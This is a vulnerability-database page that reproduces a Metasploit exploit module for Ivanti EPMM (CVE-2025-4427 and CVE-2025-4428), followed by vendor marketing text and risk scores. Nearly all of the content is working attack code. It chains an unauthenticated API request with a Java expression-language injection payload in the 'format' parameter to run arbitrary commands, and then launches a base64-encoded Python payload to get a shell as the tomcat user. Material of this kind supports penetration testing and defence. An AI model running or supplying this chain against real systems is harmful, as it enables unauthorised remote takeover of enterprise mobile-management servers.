Lucene search
K

📄 Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution

🗓️ 04 Jun 2025 00:00:00Reported by CERT-EU, Piotr Bazydlo, remmons-r7, Sonny MacdonaldType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 107 Views

Exploits unauthenticated remote code execution in Ivanti EPMM via expression language injection.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
              tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
              access to an administrator web API endpoint, which allows for code execution via expression
              language injection. This module executes in the context of the 'tomcat' user. This module
              should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'CERT-EU', # Original discovery
              'Sonny Macdonald', # First Published PoC
              'Piotr Bazydlo', # First published PoC
              'remmons-r7' # MSF Exploit
            ],
            'References' => [
              ['CVE', '2025-4427'],
              ['CVE', '2025-4428'],
              # Advisory
              ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US'],
              # First published PoC
              ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428'],
              # Non-blind payload
              ['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability']
            ],
            'DisclosureDate' => '2025-05-13',
            # Runs as the 'tomcat' user
            'Privileged' => false,
            'Platform' => ['python'],
            'Arch' => [ARCH_PYTHON], # Tested appliance has Python 3.4.9
            'DefaultTarget' => 0,
            'Targets' => [ [ 'Default', {} ] ],
            'Notes' => {
              # Confirmed to work multiple times in a row and concurrently
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(443),
            OptString.new('TARGETURI', [true, 'The base path to Ivanti EPMM', '/']),
            OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true])
          ]
        )
      end
    
      def check
        # Execute 'id' to check if target is vulnerable (version check via exploitation, best known approach)
        resp = execute_command('id')
        return CheckCode::Unknown('Failed to get a response from the target') unless resp
    
        # The response body format will vary across versions, so check for presence of 'id' output
        if resp.body.include?('uid=') && resp.body.include?('gid=')
          return CheckCode::Vulnerable('Successfully executed command')
        else
          return CheckCode::Safe('Target does not appear to be vulnerable - command output not returned')
        end
      end
    
      def execute_command(command)
        payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{command}').getInputStream()).useDelimiter('%5C%5CA').next()}"
    
        vprint_status("Sending template payload: #{payload}")
    
        send_request_cgi(
          'method' => 'GET',
          # There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
          'uri' => normalize_uri(target_uri.path, 'mifs', 'rs', 'api', 'v2', 'featureusage'),
          'vars_get' => {
            'format' => payload
          }
        )
      end
    
      def exploit
        vprint_status('Attempting to execute payload')
        base64_payload = Base64.urlsafe_encode64(payload.encoded)
        cmd = "python3 -c exec(__import__(\"base64\").b64decode(\"#{base64_payload}\"))"
        execute_command(cmd)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jun 2025 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.17.2 - 8.8
EPSS0.91261
107